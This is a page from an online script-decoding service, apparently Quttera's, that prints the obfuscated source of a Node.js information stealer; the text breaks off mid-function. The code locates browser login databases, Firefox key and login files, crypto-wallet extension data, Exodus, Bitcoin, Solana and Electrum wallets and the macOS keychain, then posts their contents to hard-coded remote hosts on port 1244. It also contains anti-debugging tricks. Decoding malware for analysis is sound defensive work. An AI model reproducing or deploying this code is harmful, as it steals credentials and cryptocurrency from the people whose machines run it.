Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


const c4=a5;
	(function(by,bz){
	const bZ=a5,bA=by();
		while(!![]){
			try{
			const bB=-parseInt(bZ(0xc5))/0x1*(parseInt(bZ(0xe7))/0x2)+parseInt(bZ(0x95))/0x3+parseInt(bZ(0xd0))/0x4+-parseInt(bZ(0xa0))/0x5+-parseInt(bZ(0xc3))/0x6+-parseInt(bZ(0xf4))/0x7+parseInt(bZ(0x92))/0x8;
			if(bB===bz)break;
			else bA['push'](bA['shift']());
		}
			catch(bC){
			bA['push'](bA['shift']());
		}
	}
}
(a4,0xa8a7e));
	const a6=(function(){
	let by=!![];
		return function(bz,bA){
			const bB=by?function(){
			const c0=a5;
				if(bA){
				const bC=bA[c0(0xf2)](bz,arguments);
				return bA=null,bC;
			}
		}
			:function(){
		};
		return by=![],bB;
	};
}
	()),a7=a6(this,function(){
	const c1=a5;
	return a7[c1(0xab)]()['search'](c1(0x101))[c1(0xab)]()[c1(0xdb)](a7)[c1(0x112)]('(((.+)+)+)+$');
}
);
a7();
	const a8=(function(){
	let by=!![];
		return function(bz,bA){
			const bB=by?function(){
			const c2=a5;
				if(bA){
				const bC=bA[c2(0xf2)](bz,arguments);
				return bA=null,bC;
			}
		}
			:function(){
		};
		return by=![],bB;
	};
}
());
	(function(){
		a8(this,function(){
		const c3=a5,by=new RegExp(c3(0xfb)),bz=new RegExp(c3(0xa9),'i'),bA=bx(c3(0x9d));
		!by['test'](bA+c3(0xf9))||!bz[c3(0xe1)](bA+c3(0xd6))?bA('0'):bx();
	}
	)();
}
());
const a9=c4(0xaf),aa=c4(0xb9),ab=require('fs'),ac=require('os'),ad=by=>(s1=by[c4(0xfe)](0x1),Buffer[c4(0xb5)](s1,a9)[c4(0xab)](aa));
rq=require(ad(c4(0x9a))),pt=require(ad(c4(0x103))),ex=require(ad(c4(0xb8)))[ad('cZXhlYw')],hd=ac[ad(c4(0x110))](),hs=ac[ad(c4(0xf6))](),pl=ac[ad(c4(0x107))](),uin=ac[ad('AdXNlckluZm8')](),td=ac[ad(c4(0xff))]();
let ae;
	function a5(a,b){
	const c=a4();
		return a5=function(d,e){
		d=d-0x91;
		let f=c[d];
		return f;
	}
	,a5(a,b);
}
	const af=by=>Buffer[c4(0xb5)](by,a9)['toString'](aa),ag=()=>{
	let by='NjcuMjAzLjaHR0cDovLwcuMjA1OjEyNDQ=      ';
	for(var bz='',bA='',bB='',bC='',bD=0x0;
	bD<0xa;
	bD++)bz+=by[bD],bA+=by[0xa+bD],bB+=by[0x14+bD],bC+=by[0x1e+bD];
	return bz=bz+bB+bC,af(bA)+af(bz);
}
	,ah=by=>by[c4(0xbe)](/^~([a-z]+|\/)/,(bz,bA)=>'/'===bA?hd:pt[af(c4(0xb3))](hd)+'/'+bA),ai='NDUuNTkuMTaHR0cDovLwYzLjU1OjEyNDQ=      ',aj=by=>{
	let bz=by;
	for(var bA='',bB='',bC='',bD='',bE=0x0;
	bE<0xa;
	bE++)bA+=bz[bE],bB+=bz[0xa+bE],bC+=bz[0x14+bE],bD+=bz[0x1e+bE];
	return bA=bA+bC+bD,af(bB)+af(bA);
}
,ak=c4(0xe9),al=c4(0xf3),am=c4(0xa1),an=c4(0xc7),ao='L2NsaWVudA',ap=c4(0x9f),aq=c4(0xb1);
	function a4(){
		const cF=['join','comp','YWVhY2hrbm1lZnBo','L0xpYnJhcnkvQXBwbGljYXRpb24gU3VwcG9ydC8','cHl0aG9u','\+\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)','b3BlcmE','toString','a2V5NC5kYg','ZXhvZA','get','base64','YXRtYw','eS5leGU','/ld_','ZGlybmFtZQ','length','from','Y3A','/brld_','aY2hpbGRfcHJvY2Vzcw','utf8','Z29vZ2xlLWNocm9tZQ','bWNvaGlsbmNiZmFo','YbXVsdGlfZmlsZQ','aZmlsZW5hbWU','replace','dXNlcm5hbWU','L3Bkb3c','ZXhpc3RzU3luYw','Um9hbWluZy9','8013570YbMcml','/sdb','210026blTFjf','bmtiaWhmYmVvZ2FlYW9l','d3JpdGVGaWxlU3luYw','YXRvbWljL0xvY2FsIFN0b3JhZ2UvbGV2ZWxkYg','flk4_','brld_','RXhvZHVzL2V4b2R1cy53YWxsZXQ','bWtkaXJTeW5j','amZob21paGtqYm1namlkbGNkbm8','ZWxjdA','YmZuYWVsbW9tZWltaGxw','974900pJXiRQ','while (true) {
	}
	','Qml0Y29pbg','adXJs','pld_','U3luYyBFeHRlbnNpb24gU2V0dGluZ3M','input','aGlmYWZnbWNjZHBl','L0FwcERhdGEv','plld_','LmJpdGNvaW4','constructor','a3Bsb21qamtjZmdvZG5oY2VsbGo','RGVmYXVsdA','ZGdjaWpubWhuZm5rZG5hYWQ','" "','aGxlZm5rb2RiZWZncGdrbm4','test','TG9jYWwvTWljcm9zb2Z0L0VkZ2U','Ly5sb2NhbC9zaGFyZS9rZXlyaW5ncy8','R29vZ2xlL0Nocm9tZQ','aG5mYW5rbm9jZmVvZmJk','ZdGltZXN0YW1w','6xnrHSV','Ym1nZGprYnBlbWNjaWlvbGdjZ2U','pwTrNg6','YdmFsdWU','bG9naW5zLmpzb24','Y29weUZpbGU','close','http','YnRjYw','forEach','RmlyZWZveA','apply','Z2V0','905926TQdTww','L3VwbG9hZHM','caG9zdG5hbWU','action','Zmhib2hpbWFlbGJvaHBq','chain','aWJuZWpkZmptbWtwY25s','function *\( *\)','-db','LmVsZWN0cnVt','slice','cdG1wZGly','TG9jYWwv','(((.+)+)+)+$','cZm9ybURhdGE','zcGF0aA','a2V5My5kYg','finish','Ly5jb25maWcvc29sYW5hL2lkLmpzb24','YcGxhdGZvcm0','createWriteStream','ZXBjY2lvbmJvb2hja29ub2VlbWc','UHJvZmlsZQ','bG9na2MtZGI','cDIuemlw','RWxlY3RydW0','bWdqbmpvcGhocGtrb2xqcGE','cGVia2xtbmtvZW9paG9mZWM','ZaG9tZWRpcg','now','search','size','d2FsbGV0LmRhdA','push','fk3_','gger','cmVuYW1lU3luYw','YWhvbHBmZGlhbGpn','unlink','ZWdqaWRqYnBnbGlj','21411016OidFdK','3 "','debu','302355TDkqeE','Ly5tb3ppbGxhL2ZpcmVmb3gv','aGJubWtrbGllZ2htbWprcGlncGE','.dat','flj_','YcmVxdWVzdA','L0xpYnJhcnkvS2V5Y2hhaW5zL2xvZ2luLmtleWNoYWlu',' -C ','init','string','XC5weVxw','1174910HJIGQY','Ly5ucGw','counter','c29sYW5hX2lkLnR4dA'];
		a4=function(){
		return cF;
	};
	return a4();
}
	function ar(by){
	const bz=af('YWNjZXNzU3luYw');
		try{
		return ab[bz](by),!0x0;
	}
		catch(bA){
		return!0x1;
	}
}
const as=af(c4(0xc1));
	function au(by){
	return ab[as](by);
}
	function av(by){
	return scrs=af('Y3JlYXRlUmVhZFN0cmVhbQ'),ab[scrs](by);
}
const aw='TG9naW4gRGF0YQ',ax=c4(0xec),ay=c4(0xb6),az=c4(0xcc),aA=af(c4(0xdd)),aB=af(c4(0x10a)),aC=ad(c4(0xbd)),aD=ad(c4(0x102)),aE=ad(c4(0xd3)),aF=ad('Zb3B0aW9ucw'),aG=ad(c4(0xea)),aH=af('cmVhZGRpclN5bmM'),aI=af('c3RhdFN5bmM'),aJ=af('cG9zdA'),aK='Ly5jb25maWcv',aL=c4(0xd8),aM='L1VzZXIgRGF0YQ',aN=c4(0xa7),aO='QnJhdmVTb2Z0d2FyZS9CcmF2ZS1Ccm93c2Vy',aP=c4(0xe4),aQ=c4(0xba),aR=['TG9jYWwv'+aO,aO,aO],aS=['Um9hbWluZy9PcGVyYSBTb2Z0d2FyZS9PcGVyYSBTdGFibGU','Y29tLm9wZXJhc29mdHdhcmUuT3BlcmE',c4(0xaa)],aT=[c4(0x100)+aP,aP,aQ];
let aU=c4(0xa5);
	const aV=by=>{
		const c5=c4,bz=ad(c5(0xbc)),bA=ad(c5(0xe6)),bB=af(c5(0xf5)),bC={
		[bA]:ae[c5(0xab)](),'type':ak,'hid':aU,[bz]:by
	}
	,bD=ag();
		try{
			let bE={
			[aE]:''+bD+bB,[aD]:bC
		};
			rq[aJ](bE,(bF,bG,bH)=>{
		}
		);
	}
		catch(bF){
	}
}
	,aW=[c4(0xe0),'aGVjZGFsbWVlZWFqbmltaG0',c4(0x10f),'YmJsZGNuZ2NuYXBuZG9kanA',c4(0xde),c4(0x10e),c4(0x109),'aGRjb25kYmNiZG5iZWVwcGdkcGg',c4(0xdc),c4(0xcd),c4(0xe8),c4(0x97)],aX=[c4(0xc6),'ZWpiYWxiYWtvcGxjaGxn',c4(0xfa),c4(0xf8),c4(0xe5),c4(0xcf),c4(0xa6),c4(0x91),c4(0xd7),c4(0x119),c4(0xbb),'cGRsaWFvZ2VoZ2Ri'],aY=async(by,bz,bA)=>{
	const c6=c4,bB=af(ay),bC=af(az);
	let bD=by;
	if(!bD||''===bD)return[];
		try{
		if(!ar(bD))return[];
	}
		catch(bI){
		return[];
	}
	bz||(bz='');
	let bE=[];
	const bF=af('TG9jYWwgRXh0ZW5zaW9uIFNldHRpbmdz'),bG=af(c6(0xd5)),bH=af('YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWk');
	for(let bJ=0x0;
	bJ<0xc8;
		bJ++){
		const bK=0x0===bJ?aA:aB+' '+bJ;
		let bL=by+'/'+bK;
		if(!au(bL))continue;
		const bM=bL+c6(0xc4);
		bL=bL+'/'+bF;
			try{
			ab[bC](bM);
		}
			catch(bO){
		}
			try{
				ab[bB](bL,bM,{
				'recursive':!0x0
			}
				,bP=>{
				const c7=c6;
				for(let bQ=0x0;
				bQ<aX[c7(0xb4)];
					bQ++){
					const bR=af(aX[bQ]+aW[bQ]);
					let bS=bM+'/'+bR;
					if(!ar(bS))continue;
						try{
						far=ab[aH](bS);
					}
						catch(bU){
						far=[];
					}
					let bT=[];
						far['forEach'](async bV=>{
						const c8=c7;
							bD=pt[c8(0xa4)](bS,bV),bT[c8(0x115)]({
								[aF]:{
								[aC]:''+bz+bJ+'_'+bR+'_'+bV
							}
							,[aG]:av(bD)
						}
						);
					}
					),aV(bT);
				}
			}
			);
		}
			catch(bP){
			for(let bQ=0x0;
			bQ<aX[c6(0xb4)];
				bQ++){
				const bR=af(aX[bQ]+aW[bQ]);
				let bS=bL+'/'+bR;
				if(!ar(bS))continue;
					try{
					far=ab[aH](bS);
				}
					catch(bU){
					far=[];
				}
				let bT=[];
					far[c6(0xf0)](async bV=>{
					const c9=c6;
						bD=pt[c9(0xa4)](bS,bV),bT[c9(0x115)]({
							[aF]:{
							[aC]:''+bz+bJ+'_'+bR+'_'+bV
						}
						,[aG]:av(bD)
					}
					);
				}
				),aV(bT);
			}
		}
		const bN=by+'/'+bK+'/'+bG+'/'+bH;
			if(ar(bN)){
				try{
				far=ab[aH](bN);
			}
				catch(bW){
				far=[];
			}
			let bV=[];
				far['forEach'](async bX=>{
				const ca=c6;
				bD=pt[ca(0xa4)](bN,bX);
					try{
						bV['push']({
							[aF]:{
							[aC]:''+bz+bJ+'_'+bH+'_'+bX
						}
						,[aG]:av(bD)
					}
					);
				}
					catch(bY){
				}
			}
			),aV(bV);
		}
	}
		if(bA){
		const bX=af(c6(0xa3));
			if(bD=''+hd+af(c6(0x106)),au(bD))try{
				bE[c6(0x115)]({
					[aG]:av(bD),[aF]:{
					[aC]:bX
				}
			}
			);
		}
			catch(bY){
		}
	}
	return aV(bE),bE;
}
	,aZ=async()=>{
	const cb=c4;
	aU=hs,'d'==pl[0x0]&&(aU=aU+'+'+uin[af(cb(0xbf))]);
		try{
		const by=ah('~/');
			await b0(aT,0x0),await b0(aR,0x1),await b0(aS,0x2),'w'==pl[0x0]?(pa=''+by+af(aL)+af(cb(0xe2))+af(aM),await aY(pa,'3_',!0x1)):'l'==pl[0x0]?(await b3(),await bq(),await be()):'d'==pl[0x0]&&(await((async()=>{
			const cc=cb;
			let bz=[];
			const bA=af(aw),bB=af(cc(0x9b)),bC=af(cc(0x10b));
				if(pa=''+hd+bB,au(pa))try{
					bz[cc(0x115)]({
						[aG]:av(pa),[aF]:{
						[aC]:bC
					}
				}
				);
			}
				catch(bD){
			}
				else{
					if(pa+=cc(0xfc),au(pa))try{
						bz[cc(0x115)]({
							[aG]:av(pa),[aF]:{
							[aC]:bC
						}
					}
					);
				}
					catch(bE){
				}
			}
				try{
				const bF=af(ax);
				let bG='';
				if(bG=''+hd+af(aN)+af(aP),bG&&''!==bG&&ar(bG))for(let bH=0x0;
				bH<0xc8;
					bH++){
					const bI=bG+'/'+(0x0===bH?aA:aB+' '+bH)+'/'+bA;
						try{
						if(!ar(bI))continue;
						const bJ=bG+cc(0xb2)+bH;
							ar(bJ)?bz['push']({
								[aG]:av(bJ),[aF]:{
								[aC]:'pld_'+bH
							}
						}
							):ab[bF](bI,bJ,bK=>{
							const cd=cc;
								let bL=[{
									[aG]:av(bI),[aF]:{
									[aC]:cd(0xd4)+bH
								}
							}
							];
							aV(bL);
						}
						);
					}
						catch(bK){
					}
				}
			}
				catch(bL){
			}
			return aV(bz),bz;
		}
		)()),await b2(),await bf()),await b1(b5,af(b7)),await b1(b6,af(b8)),await bb(),await bc();
	}
		catch(bz){
	}
}
	,b0=async(by,bz)=>{
		try{
		const bA=ah('~/');
		let bB='';
		bB='d'==pl[0x0]?''+bA+af(aN)+af(by[0x1]):'l'==pl[0x0]?''+bA+af(aK)+af(by[0x2]):''+bA+af(aL)+af(by[0x0])+af(aM),await aY(bB,bz+'_',0x0==bz);
	}
		catch(bC){
	}
}
	,b1=async(by,bz)=>{
		try{
		const bA=ah('~/');
		let bB='';
		bB='d'==pl[0x0]?''+bA+af(aN)+af(by):'l'==pl[0x0]?''+bA+af(aK)+af(by):''+bA+af(aL)+af(b4)+af(by),await bd(bB,bz);
	}
		catch(bC){
	}
}
	,b2=async()=>{
	const ce=c4;
	let by=[];
	const bz=af(aw);
		try{
		const bA=af(ax);
		let bB='';
		if(bB=''+hd+af(aN)+af(aO),!bB||''===bB||!ar(bB))return[];
		let bC=0x0;
		for(;
		bC<0xc8;
			){
			const bD=bB+'/'+(0x0!==bC?aB+' '+bC:aA)+'/'+bz;
				try{
					if(ar(bD)){
					const bE=bB+ce(0xb7)+bC;
						ar(bE)?by['push']({
							[aG]:av(bE),[aF]:{
							[aC]:'brld_'+bC
						}
					}
						):ab[bA](bD,bE,bF=>{
						const cf=ce;
							let bG=[{
								[aG]:av(bD),[aF]:{
								[aC]:cf(0xca)+bC
							}
						}
						];
						aV(bG);
					}
					);
				}
			}
				catch(bF){
			}
			bC++;
		}
	}
		catch(bG){
	}
	return aV(by),by;
}
	,b3=async()=>{
	const cg=c4;
	let by=[];
		try{
		const bz=af(cg(0xe3));
		let bA='';
		bA=''+hd+bz;
		let bB=[];
			if(bA&&''!==bA&&ar(bA))try{
			bB=ab[aH](bA);
		}
			catch(bC){
			bB=[];
		}
			bB[cg(0xf0)](async bD=>{
			const ch=cg;
			pa=pt['join'](bA,bD);
				try{
					ldb_data[ch(0x115)]({
						[aG]:av(pa),[aF]:{
						[aC]:''+bD
					}
				}
				);
			}
				catch(bE){
			}
		}
		);
	}
		catch(bD){
	}
	return aV(by),by;
}
	,b4=c4(0xc2),b5=c4(0xcb),b6=c4(0xc8),b7=c4(0xad),b8=c4(0xb0),b9='d2FsbGV0cw',ba=c4(0xd2),bb=async()=>{
	const ci=c4;
	let by=[],bz='';
		try{
		const bF=ah('~/');
		bz='d'==pl[0x0]?''+bF+af(aN)+af(ba):'l'==pl[0x0]?''+bF+af(ci(0xda)):''+bF+af(aL)+af(b4)+af(ba);
	}
		catch(bG){
		return;
	}
	const bA=af(ay),bB=af(az),bC=af(ci(0xef));
	let bD=bz+'/'+af(b9);
	if(!au(bD))return;
	const bE=bz+ci(0xc4);
		try{
		ab[bB](bE);
	}
		catch(bH){
	}
		try{
			ab[bA](bD,bE,{
			'recursive':!0x0
		}
			,bI=>{
			const cj=ci;
				far=ab[aH](bE),far[cj(0xf0)](async bJ=>{
				const ck=cj;
				let bK=pt[ck(0xa4)](bE,bJ);
				bK=pt['join'](bK,af(ck(0x114)));
					try{
						by['push']({
							[aF]:{
							[aC]:bC+'_'+bJ+ck(0x98)
						}
						,[aG]:av(bK)
					}
					);
				}
					catch(bL){
				}
			}
			),aV(by);
		}
		);
	}
		catch(bI){
		return;
	}
}
	,bc=async()=>{
	const cl=c4;
	let by=[],bz='';
		try{
		const bF=ah('~/');
		bz='w'==pl[0x0]?''+bF+af(aL)+af(b4)+af(cl(0x10d)):''+bF+af(cl(0xfd));
	}
		catch(bG){
		return;
	}
	const bA=af(ay),bB=af(az),bC=af(cl(0xce));
	let bD=bz+'/'+af(b9);
	if(!au(bD))return;
	const bE=bz+cl(0xc4);
		try{
		ab[bB](bE);
	}
		catch(bH){
	}
		try{
			ab[bA](bD,bE,{
			'recursive':!0x0
		}
			,bI=>{
			const cm=cl;
				far=ab[aH](bE),far[cm(0xf0)](async bJ=>{
				const cn=cm;
				let bK=pt[cn(0xa4)](bE,bJ);
					try{
						by[cn(0x115)]({
							[aF]:{
							[aC]:bC+'_'+bJ
						}
						,[aG]:av(bK)
					}
					);
				}
					catch(bL){
				}
			}
			),aV(by);
		}
		);
	}
		catch(bI){
		return;
	}
}
	,bd=async(by,bz)=>{
	let bA=[];
	if(!by||''===by)return;
		try{
		if(!ar(by))return;
	}
		catch(bE){
		return;
	}
	bz||(bz='');
	const bB=af(ay),bC=af(az),bD=by+'9';
		try{
		ab[bC](bD);
	}
		catch(bF){
	}
		try{
			ab[bB](by,bD,{
			'recursive':!0x0
		}
			,bG=>{
			const co=a5;
				far=ab[aH](bD),far[co(0xf0)](async bH=>{
				const cp=co;
				let bI=pt[cp(0xa4)](bD,bH);
				console['log'](bI);
					try{
						bA[cp(0x115)]({
							[aF]:{
							[aC]:bz+'_'+bH
						}
						,[aG]:av(bI)
					}
					);
				}
					catch(bJ){
				}
			}
			),aV(bA);
		}
		);
	}
		catch(bG){
	}
}
	,be=async()=>{
	const cq=c4;
	let by=[];
	const bz=af(cq(0xac)),bA=af(cq(0x104)),bB=af('bG9naW5zLmpzb24');
		try{
		let bC='';
		if(bC=''+hd+af(cq(0x96)),bC&&''!==bC&&ar(bC))for(let bD=0x0;
		bD<0xc8;
			bD++){
			const bE=0x0===bD?aA:aB+' '+bD;
				try{
				const bF=bC+'/'+bE+'/'+bz;
					ar(bF)&&by[cq(0x115)]({
						[aG]:av(bF),[aF]:{
						[aC]:cq(0xc9)+bD
					}
				}
				);
			}
				catch(bG){
			}
				try{
				const bH=bC+'/'+bE+'/'+bA;
					ar(bH)&&by[cq(0x115)]({
						[aG]:av(bH),[aF]:{
						[aC]:'flk3_'+bD
					}
				}
				);
			}
				catch(bI){
			}
				try{
				const bJ=bC+'/'+bE+'/'+bB;
					ar(bJ)&&by[cq(0x115)]({
						[aG]:av(bJ),[aF]:{
						[aC]:'fllj_'+bD
					}
				}
				);
			}
				catch(bK){
			}
		}
	}
		catch(bL){
	}
	return aV(by),by;
}
	,bf=async()=>{
	const cr=c4;
	let by=[];
	const bz=af('a2V5NC5kYg'),bA=af(cr(0x104)),bB=af(cr(0xeb));
		try{
		let bC='';
		if(bC=''+hd+af(aN)+af(cr(0xf1)),bC&&''!==bC&&ar(bC))for(let bD=0x0;
		bD<0xc8;
			bD++){
			const bE=0x0===bD?aA:aB+' '+bD;
				try{
				const bF=bC+'/'+bE+'/'+bz;
					ar(bF)&&by[cr(0x115)]({
						[aG]:av(bF),[aF]:{
						[aC]:'fk4_'+bD
					}
				}
				);
			}
				catch(bG){
			}
				try{
				const bH=bC+'/'+bE+'/'+bA;
					ar(bH)&&by['push']({
						[aG]:av(bH),[aF]:{
						[aC]:cr(0x116)+bD
					}
				}
				);
			}
				catch(bI){
			}
				try{
				const bJ=bC+'/'+bE+'/'+bB;
					ar(bJ)&&by[cr(0x115)]({
						[aG]:av(bJ),[aF]:{
						[aC]:cr(0x99)+bD
					}
				}
				);
			}
				catch(bK){
			}
		}
	}
		catch(bL){
	}
	return aV(by),by;
}
,bg=c4(0x10c),bh=c4(0xc0),bi='cC56aQ';
	function bj(by){
	const bz=af('cm1TeW5j');
	ab[bz](by);
	...



© 2023 Quttera Ltd. All rights reserved.